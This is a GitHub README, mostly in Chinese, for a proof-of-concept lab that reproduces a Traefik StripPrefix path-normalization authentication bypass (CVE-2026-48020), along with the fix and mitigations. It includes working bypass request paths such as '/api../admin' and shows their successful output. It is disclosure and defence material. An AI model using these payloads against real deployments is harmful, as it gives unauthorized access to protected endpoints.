Hunt-Benito/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization
GitHub: Hunt-Benito/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization
复现 Traefik StripPrefix 中间件 CVE-2026-48020 路径规范化认证绕过漏洞的概念验证项目,提供完整实验环境和缓解方案。
Stars: 0 | Forks: 0
# CVE-2026-48020 — Traefik StripPrefix 路由级权限绕过 (PoC)
这是一个针对 **CVE-2026-48020** 的独立概念验证,这是一种路由级
认证/授权绕过漏洞,存在于 Traefik 的 `StripPrefix` middleware 中,
原因是路径规范化发生在路由决策**之后**。
像 `GET /api../admin` 这样的请求在路由阶段会通过*公开的*
`PathPrefix(\`/api\`)` 路由器(因此受保护路由器的
`basicAuth` middleware 永远不会被附加),但在 `StripPrefix` 去除
`/api` 并且 Go 的 `req.URL.JoinPath()` 将剩余的 `/../admin` 标准化后,
backend 接收到的路径变成了 `/admin` —— 一个本应受到保护的路径。
| | |
|---|---|
| **CVE** | CVE-2026-48020 |
| **GHSA** | GHSA-xf64-8mw2-4gr2 |
| **CVSS 3.1 (NVD)** | **10.0 Critical** (`AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N`) |
| **受影响版本** | Traefik `<= v2.11.46`, `<= v3.6.17`, `<= v3.7.1` |
| **修复版本** | `v2.11.48`, `v3.6.19`, `v3.7.3` |
## 实验环境布局
```
client (poc.py)
│ GET /api../admin ← no credentials
▼
Traefik :18080 ──routing──▶ public-api router (PathPrefix /api) + StripPrefix
(skips) protected router (PathPrefix /admin) + basicAuth
│ after StripPrefix("/api"): /../admin ──JoinPath()──▶ /admin
▼
backend :9000 ──▶ 200 { "secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin" }
```
## 文件说明
| 文件 | 用途 |
|---|---|
| `docker-compose.yml` | 启动一个存在漏洞的 Traefik (`v3.7.1`) + 一个 Python backend |
| `dynamic.yml` | Traefik 动态配置:一个公开的 `/api` strip 路由,以及一个受 `basicAuth` 保护的 `/admin`,`/internal` 路由 |
| `backend.py` | 一个微型 backend,针对受保护的路径返回一个机密信息 |
| `poc.py` | 发送绕过 payload 并报告成功访问了哪些路径 |
## 复现步骤
```
docker compose up -d --wait # start Traefik v3.7.1 + backend
python3 poc.py # run the bypass checks
```
### 存在漏洞的 Traefik 上的预期输出
```
[*] Target: http://127.0.0.1:18080
[blocked] direct protected (auth enforced) /admin
-> status=401 body=...
[blocked] direct protected (auth enforced) /internal/config
-> status=401 body=...
[safe ] public strip + exclusion (safe) /api/admin
-> status=404 body=...
[safe ] public strip + exclusion (safe) /api/internal/config
-> status=404 body=...
[!] BYPASS literal .. /api../admin
-> status=200 body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
[!] BYPASS encoded %2e%2e /api%2e%2e/admin
-> status=200 body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
...
============================================================
[!] AUTH BYPASS CONFIRMED — protected paths reached without credentials via StripPrefix path normalisation.
```
### 在已修复的 Traefik (`v3.7.3`) 上
绕过 payload 会返回 **404** 而不是 200。该补丁 (Traefik PR
[#13215](https://github.com/traefik/traefik/pull/13215)) 会拒绝任何在经过 `StripPrefix`/`StripPrefixRegex` 规范化后路径发生变化的请求,因此
`/../admin` 重写会被检测到并拒绝。
## 验证修复
```
# 将 docker-compose.yml 中的 image tag patch 到固定版本,例如:
sed -i 's/traefik:v3.7.1/traefik:v3.7.3/' docker-compose.yml
docker compose up -d --force-recreate
python3 poc.py # bypass payloads now return 404 -> "No bypass observed"
```
## 缓解措施(在不升级的情况下)
完全阻止公开路由匹配到路径遍历的形式:
```
# 要么锚定 prefix 使其后面不能跟随 '..'
rule: 'PathRegexp(`^/api(/|$)`) && ...'
# 要么使用 trailing-slash prefix + trailing-slash strip
PathPrefix(`/api/`) + StripPrefix(`/api/`)
```
## 漏洞披露
由 **WonYun / kyun0** (GitHub: H4ck2) 报告给 Traefik 维护者;
在 [GHSA-xf64-8mw2-4gr2](https://github.com/traefik/traefik/security/advisories/GHSA-xf64-8mw2-4gr2) 中修复。
此 PoC 实验环境是为配套文章独立构建的复现: .
标签:CISA项目, Maven, PoC, Traefik, 安全漏洞, 暴力破解, 漏洞验证, 版权保护, 请求拦截, 越权绕过, 路径穿越, 逆向工具